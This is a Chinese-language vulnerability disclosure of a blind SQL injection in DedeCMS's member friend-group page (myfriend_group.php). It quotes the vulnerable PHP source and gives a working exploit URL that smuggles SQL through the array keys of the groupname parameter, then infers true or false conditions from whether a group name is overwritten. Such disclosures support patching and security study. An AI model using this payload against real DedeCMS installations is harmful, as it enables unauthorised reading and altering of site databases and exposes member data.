Dedecms 会员中心注入漏洞10

漏洞作者: Matt

[php]

member/myfriend_group.php
}elseif ($dopost == 'save'){
    if(isset($mtypeidarr) && is_array($mtypeidarr))
    {
        $delids = '0';
        $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
        foreach($mtypeidarr as $delid)
        {
            $delids .= ','.$delid;
            unset($groupname[$delid]);
        }
        $query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND 

mid='$cfg_ml->M_ID'";
        $dsql->ExecNoneQuery($query);
        $sql="SELECT id FROM `#@__member_friends` WHERE groupid in 

($delids) AND mid='$cfg_ml->M_ID'";
        $db->SetQuery($sql);
        $db->Execute();
        while($row = $db->GetArray())
        {
            $query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE 

id='{$row['id']}' AND mid='$cfg_ml->M_ID'";
            $dsql->ExecNoneQuery($query2);
        }
    }
    foreach ($groupname as $id => $name)//遍历key和value 和之前一个诸如一样
    {
        $name = HtmlReplace($name);
        $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE 

id='$id' AND mid='$cfg_ml->M_ID'";
		echo $query;
        $dsql->ExecuteNoneQuery($query);
    }
    ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组

中)','myfriend_group.php');
}

[/php]

 

漏洞证明:

利用方法

先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个

然后看源码里groupname[]中的值

因为没有返回 只能盲注

那么判断是否满足条件就看是否update了原来的数据

这样就easy 执行一下语句

127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`

and (select 1)%3D1 and '1]=12222

如果(select 1)=1的话 那个groupname就会被改成12222

上面的3改成你的groupname的ID就哦了

 

14195649c11ad3e54e89b48fad77c683e6930296

14195700b4029548935ad097cdcb1a0dddb143a2

测试前

14195748ea50adfb11dca08534dd0b35923ffc75

测试后

14195725bd4e3ad876a92b576b60503ad9ff581f

发表评论